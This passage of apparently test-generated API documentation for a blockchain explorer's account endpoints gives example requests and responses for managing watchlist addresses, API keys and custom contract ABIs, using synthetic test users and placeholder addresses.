_explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyM2QABWVtYWlsbQAAABp0ZXN0X3VzZXItM0BibG9ja3Njb3V0LmNvbWQAAmlkYcNkAARuYW1lbQAAAApVc2VyIFRlc3QzZAAIbmlja25hbWVtAAAACnRlc3RfdXNlcjNkAAN1aWRtAAAAD2Jsb2Nrc2NvdXR8MDAwM2QADHdhdGNobGlzdF9pZGHD.kv5nnz8sVGLaopoZs9ppOfu0hfpFi58yuisPDN6PtPI; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y16Kv_0GzWcAAGKi +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "notification_settings": { + "native": { + "outcoming": false, + "incoming": true + }, + "ERC-721": { + "outcoming": false, + "incoming": true + }, + "ERC-20": { + "outcoming": false, + "incoming": false + } + }, + "notification_methods": { + "email": true + }, + "name": "test2", + "id": 68, + "exchange_rate": null, + "address_hash": "0x0000000000000000000000000000000000000007", + "address_balance": null +} +``` + +### watchlist +#### Get addresses from watchlists + +##### Request +* __Method:__ GET +* __Path:__ /api/account/v1/user/watchlist + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyM2QABWVtYWlsbQAAABp0ZXN0X3VzZXItM0BibG9ja3Njb3V0LmNvbWQAAmlkYcNkAARuYW1lbQAAAApVc2VyIFRlc3QzZAAIbmlja25hbWVtAAAACnRlc3RfdXNlcjNkAAN1aWRtAAAAD2Jsb2Nrc2NvdXR8MDAwM2QADHdhdGNobGlzdF9pZGHD.kv5nnz8sVGLaopoZs9ppOfu0hfpFi58yuisPDN6PtPI; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y19FyIUGzWcAAGMC +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +[ + { + "notification_settings": { + "native": { + "outcoming": false, + "incoming": false + }, + "ERC-721": { + "outcoming": true, + "incoming": false + }, + "ERC-20": { + "outcoming": true, + "incoming": false + } + }, + "notification_methods": { + "email": false + }, + "name": "test3", + "id": 69, + "exchange_rate": null, + "address_hash": "0x0000000000000000000000000000000000000008", + "address_balance": null + }, + { + "notification_settings": { + "native": { + "outcoming": false, + "incoming": true + }, + "ERC-721": { + "outcoming": false, + "incoming": true + }, + "ERC-20": { + "outcoming": false, + "incoming": false + } + }, + "notification_methods": { + "email": true + }, + "name": "test2", + "id": 68, + "exchange_rate": null, + "address_hash": "0x0000000000000000000000000000000000000007", + "address_balance": null + } +] +``` + +### delete_watchlist +#### Delete address from watchlist by id + +##### Request +* __Method:__ DELETE +* __Path:__ /api/account/v1/user/watchlist/74 + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTFkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTE0QGJsb2Nrc2NvdXQuY29tZAACaWRhy2QABG5hbWVtAAAAC1VzZXIgVGVzdDExZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjExZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDExZAAMd2F0Y2hsaXN0X2lkYcs.YjW8nzuA66id0ADg2qpyjTMGfKJ7BHhjU_HdVq8w8vk; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y2f5j2WpY30AAGuC +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "message": "OK" +} +``` + +### update_watchlist +#### Edit watchlist address + +##### Request +* __Method:__ PUT +* __Path:__ /api/account/v1/user/watchlist/67 +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "notification_settings": { + "native": { + "outcoming": false, + "incoming": true + }, + "ERC-721": { + "outcoming": true, + "incoming": true + }, + "ERC-20": { + "outcoming": true, + "incoming": true + } + }, + "notification_methods": { + "email": true + }, + "name": "test1", + "address_hash": "0x0000000000000000000000000000000000000006" +} +``` + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMWQABWVtYWlsbQAAABp0ZXN0X3VzZXItMUBibG9ja3Njb3V0LmNvbWQAAmlkYcFkAARuYW1lbQAAAApVc2VyIFRlc3QxZAAIbmlja25hbWVtAAAACnRlc3RfdXNlcjFkAAN1aWRtAAAAD2Jsb2Nrc2NvdXR8MDAwMWQADHdhdGNobGlzdF9pZGHB.3KOkZkPrcMrRXfooQckn-zi6xmax1LJMBGBSjmGM8ww; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y12FoNKu97sAAGch +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "notification_settings": { + "native": { + "outcoming": false, + "incoming": true + }, + "ERC-721": { + "outcoming": true, + "incoming": true + }, + "ERC-20": { + "outcoming": true, + "incoming": true + } + }, + "notification_methods": { + "email": true + }, + "name": "test1", + "id": 67, + "exchange_rate": null, + "address_hash": "0x0000000000000000000000000000000000000006", + "address_balance": null +} +``` + +### create_watchlist +#### Example of error on creating watchlist address + +##### Request +* __Method:__ POST +* __Path:__ /api/account/v1/user/watchlist +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "notification_settings": { + "native": { + "outcoming": false, + "incoming": true + }, + "ERC-721": { + "outcoming": false, + "incoming": false + }, + "ERC-20": { + "outcoming": true, + "incoming": false + } + }, + "notification_methods": { + "email": false + }, + "name": "test4", + "address_hash": "0x0000000000000000000000000000000000000017" +} +``` + +##### Response +* __Status__: 422 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyOGQABWVtYWlsbQAAABt0ZXN0X3VzZXItMTFAYmxvY2tzY291dC5jb21kAAJpZGHIZAAEbmFtZW0AAAAKVXNlciBUZXN0OGQACG5pY2tuYW1lbQAAAAp0ZXN0X3VzZXI4ZAADdWlkbQAAAA9ibG9ja3Njb3V0fDAwMDhkAAx3YXRjaGxpc3RfaWRhyA.q1Rmte0qLd31GbmpA46bE8rXo2okwzX8aD_oDHn8CIQ; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y2MCqHvooPMAAGbi +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "errors": { + "watchlist_id": [ + "Address already added to the watch list" + ] + } +} +``` + +### update_watchlist +#### Example of error on editing watchlist address + +##### Request +* __Method:__ PUT +* __Path:__ /api/account/v1/user/watchlist/72 +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "notification_settings": { + "native": { + "outcoming": false, + "incoming": true + }, + "ERC-721": { + "outcoming": false, + "incoming": false + }, + "ERC-20": { + "outcoming": true, + "incoming": false + } + }, + "notification_methods": { + "email": false + }, + "name": "test4", + "address_hash": "0x0000000000000000000000000000000000000017" +} +``` + +##### Response +* __Status__: 422 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyOGQABWVtYWlsbQAAABt0ZXN0X3VzZXItMTFAYmxvY2tzY291dC5jb21kAAJpZGHIZAAEbmFtZW0AAAAKVXNlciBUZXN0OGQACG5pY2tuYW1lbQAAAAp0ZXN0X3VzZXI4ZAADdWlkbQAAAA9ibG9ja3Njb3V0fDAwMDhkAAx3YXRjaGxpc3RfaWRhyA.q1Rmte0qLd31GbmpA46bE8rXo2okwzX8aD_oDHn8CIQ; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y2Nh1eHooPMAAGci +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "errors": { + "watchlist_id": [ + "Address already added to the watch list" + ] + } +} +``` + +### create_api_key +#### Add api key + +##### Request +* __Method:__ POST +* __Path:__ /api/account/v1/user/api_keys +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "name": "test" +} +``` + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMmQABWVtYWlsbQAAABp0ZXN0X3VzZXItMkBibG9ja3Njb3V0LmNvbWQAAmlkYcJkAARuYW1lbQAAAApVc2VyIFRlc3QyZAAIbmlja25hbWVtAAAACnRlc3RfdXNlcjJkAAN1aWRtAAAAD2Jsb2Nrc2NvdXR8MDAwMmQADHdhdGNobGlzdF9pZGHC.ULESD1_sOySz8eEVGnagUzGw6eMIx_8Pwoyr_5S3K0M; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y14XlMBqXaQAAGHi +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "name": "test", + "api_key": "de9ef457-3f47-48d3-affa-79ad9d3b27b9" +} +``` + +#### Example of error on creating api key + +##### Request +* __Method:__ POST +* __Path:__ /api/account/v1/user/api_keys +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "name": "test" +} +``` + +##### Response +* __Status__: 422 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMjJkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTI2QGJsb2Nrc2NvdXQuY29tZAACaWRh1mQABG5hbWVtAAAAC1VzZXIgVGVzdDIyZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjIyZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDIyZAAMd2F0Y2hsaXN0X2lkYdY.P37J2lZZdHaT4P-RatVaXCx77UcSH3s_TMx-FieaYk0; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y3LmuuofZKYAAG_h +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "errors": { + "name": [ + "Max 3 keys per account" + ] + } +} +``` + +### api_keys +#### Get api keys list + +##### Request +* __Method:__ GET +* __Path:__ /api/account/v1/user/api_keys + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMjJkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTI2QGJsb2Nrc2NvdXQuY29tZAACaWRh1mQABG5hbWVtAAAAC1VzZXIgVGVzdDIyZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjIyZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDIyZAAMd2F0Y2hsaXN0X2lkYdY.P37J2lZZdHaT4P-RatVaXCx77UcSH3s_TMx-FieaYk0; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y3LyOSIfZKYAAHAB +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +[ + { + "name": "test", + "api_key": "2ac16688-34e6-4fa4-8983-a9bc34c912f6" + }, + { + "name": "test", + "api_key": "a55426db-04f0-40be-a146-1ced4558aa0c" + }, + { + "name": "test", + "api_key": "d73fc23b-59f0-4e6f-a739-f4de30995101" + } +] +``` + +### update_api_key +#### Edit api key + +##### Request +* __Method:__ PUT +* __Path:__ /api/account/v1/user/api_keys/2b1d400d-713e-4bfc-8ef0-710555693138 +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "name": "test_1" +} +``` + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTdkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTIxQGJsb2Nrc2NvdXQuY29tZAACaWRh0WQABG5hbWVtAAAAC1VzZXIgVGVzdDE3ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE3ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE3ZAAMd2F0Y2hsaXN0X2lkYdE.bLJKM3-kFm04mMC-4-3b2mjrig_lmQYt5C2tg-9q9so; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y2-0eR7T2BMAAG0B +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "name": "test_1", + "api_key": "2b1d400d-713e-4bfc-8ef0-710555693138" +} +``` + +### delete_api_key +#### Delete api key + +##### Request +* __Method:__ DELETE +* __Path:__ /api/account/v1/user/api_keys/3bd44c0d-290f-4dfc-9283-5f674080f8ef + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMjBkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTI0QGJsb2Nrc2NvdXQuY29tZAACaWRh1GQABG5hbWVtAAAAC1VzZXIgVGVzdDIwZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjIwZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDIwZAAMd2F0Y2hsaXN0X2lkYdQ.WgjMmOxwwBGcTZZscpLA8EXErwL8ITCvoIXPLIQAhtw; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y3HQdpa0710AAHBi +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "message": "OK" +} +``` + +### create_custom_abi +#### Add custom abi + +##### Request +* __Method:__ POST +* __Path:__ /api/account/v1/user/custom_abis +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "name": "test25", + "contract_address_hash": "0x000000000000000000000000000000000000002c", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] +} +``` + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTJkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTE1QGJsb2Nrc2NvdXQuY29tZAACaWRhzGQABG5hbWVtAAAAC1VzZXIgVGVzdDEyZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjEyZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDEyZAAMd2F0Y2hsaXN0X2lkYcw.7cCOt6SVrOb5VLYplBzwZ03FWMo9jQpAV7cNroY4txY; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y2iZJWbZgfgAAGwC +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "name": "test25", + "id": 143, + "contract_address_hash": "0x000000000000000000000000000000000000002c", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] +} +``` + +#### Example of error on creating custom abi + +##### Request +* __Method:__ POST +* __Path:__ /api/account/v1/user/custom_abis +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "name": "test21", + "contract_address_hash": "0x0000000000000000000000000000000000000028", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] +} +``` + +##### Response +* __Status__: 422 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyOWQABWVtYWlsbQAAABt0ZXN0X3VzZXItMTJAYmxvY2tzY291dC5jb21kAAJpZGHJZAAEbmFtZW0AAAAKVXNlciBUZXN0OWQACG5pY2tuYW1lbQAAAAp0ZXN0X3VzZXI5ZAADdWlkbQAAAA9ibG9ja3Njb3V0fDAwMDlkAAx3YXRjaGxpc3RfaWRhyQ.MCpJsS-nb95ccHRtzOk7DbIRjEcTG34ONq4PrC5hOcU; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y2Ypm-ny0swAAGiB +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "errors": { + "name": [ + "Max 15 ABIs per account" + ] + } +} +``` + +### custom_abis +#### Get custom abis list + +##### Request +* __Method:__ GET +* __Path:__ /api/account/v1/user/custom_abis + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyOWQABWVtYWlsbQAAABt0ZXN0X3VzZXItMTJAYmxvY2tzY291dC5jb21kAAJpZGHJZAAEbmFtZW0AAAAKVXNlciBUZXN0OWQACG5pY2tuYW1lbQAAAAp0ZXN0X3VzZXI5ZAADdWlkbQAAAA9ibG9ja3Njb3V0fDAwMDlkAAx3YXRjaGxpc3RfaWRhyQ.MCpJsS-nb95ccHRtzOk7DbIRjEcTG34ONq4PrC5hOcU; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y2Y-qjXy0swAAGnC +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +[ + { + "name": "test20", + "id": 141, + "contract_address_hash": "0x0000000000000000000000000000000000000027", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test19", + "id": 140, + "contract_address_hash": "0x0000000000000000000000000000000000000026", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test18", + "id": 139, + "contract_address_hash": "0x0000000000000000000000000000000000000025", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test17", + "id": 138, + "contract_address_hash": "0x0000000000000000000000000000000000000024", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test16", + "id": 137, + "contract_address_hash": "0x0000000000000000000000000000000000000023", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test15", + "id": 136, + "contract_address_hash": "0x0000000000000000000000000000000000000022", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test14", + "id": 135, + "contract_address_hash": "0x0000000000000000000000000000000000000021", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test13", + "id": 134, + "contract_address_hash": "0x0000000000000000000000000000000000000020", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test12", + "id": 133, + "contract_address_hash": "0x000000000000000000000000000000000000001f", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test11", + "id": 132, + "contract_address_hash": "0x000000000000000000000000000000000000001e", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test10", + "id": 131, + "contract_address_hash": "0x000000000000000000000000000000000000001d", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test9", + "id": 130, + "contract_address_hash": "0x000000000000000000000000000000000000001c", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test8", + "id": 129, + "contract_address_hash": "0x000000000000000000000000000000000000001b", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test7", + "id": 128, + "contract_address_hash": "0x000000000000000000000000000000000000001a", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test6", + "id": 127, + "contract_address_hash": "0x0000000000000000000000000000000000000019", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + } +] +``` + +### update_custom_abi +#### Edit custom abi + +##### Request +* __Method:__ PUT +* __Path:__ /api/account/v1/user/custom_abis/144 +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "name": "test27", + "contract_address_hash": "0x000000000000000000000000000000000000004b", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] +} +``` + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMjFkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTI1QGJsb2Nrc2NvdXQuY29tZAACaWRh1WQABG5hbWVtAAAAC1VzZXIgVGVzdDIxZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjIxZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDIxZAAMd2F0Y2hsaXN0X2lkYdU.SEUqq9ZiSD79HIzwKvwTspmBKKU87m_Xwu5gw2pX1e0; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y3JcHmB4X2AAAHDC +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "name": "test27", + "id": 144, + "contract_address_hash": "0x000000000000000000000000000000000000004b", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] +} +``` + +### delete_custom_abi +#### Delete custom abi + +##### Request +* __Method:__ DELETE +* __Path:__ /api/account/v1/user/custom_abis/142 + 